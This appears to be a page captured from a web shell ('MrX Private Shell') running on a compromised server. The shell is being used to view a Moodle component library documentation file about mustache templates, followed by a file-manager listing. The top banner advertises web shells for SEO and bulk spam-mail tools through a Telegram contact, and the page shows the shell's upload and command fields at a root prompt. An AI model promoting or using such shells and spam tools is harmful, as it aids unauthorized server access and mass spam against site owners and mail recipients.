__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.122: ~ $
---
layout: docs
title: "Moodle templates"
date: 2020-01-14T13:38:37+01:00
group: moodle-components
draft: false
menu: "main"
---

## Moodle templates

[Moodle templates](https://moodledev.io/docs/guides/templates) are use to write HTML and Javascript using mustache files.

If you are creating your own pages in the UI Component library you can load core templates using this (shortcode) syntax:

```
{{</* mustache template="core/notification_error" */>}}
{{</* /mustache */>}}
```

This is the result of adding the core/notification template on this page:

{{< mustache template="core/notification_error" >}}
{{< /mustache >}}

This allows you to document any mustache template in the component library.

## Moodle templates with custom data

Not all templates found in Moodle core are will documented with example JSON formatted data (see the variables tab for the notification_error). To use custom Json data please use this (shortcode) syntax:

```
{{</* mustache template="core/notification_error" */>}}
{
    "message": "Your pants are awesome!",
    "closebutton": 1,
    "announce": 1,
    "extraclasses": "foo bar"
}
{{</* /mustache */>}}
```


This is the result of adding the core/notification template on this page:

{{< mustache template="core/notification_error" >}}
{
    "message": "Your pants are awesome!",
    "closebutton": 1,
    "announce": 1,
    "extraclasses": "foo bar"
}
{{< /mustache >}}

Filemanager

Name Type Size Permission Actions
_index.md File 86 B 0644
adding-images.md File 1.08 KB 0644
adding-pages.md File 2.22 KB 0644
component-library-backend.md File 2.08 KB 0644
example-files.md File 2.35 KB 0644
getting-started.md File 1.72 KB 0644
moodle-javascript.md File 1.16 KB 0644
moodle-templates.md File 1.38 KB 0644
syntax-highlighting.md File 2.03 KB 0644
Filemanager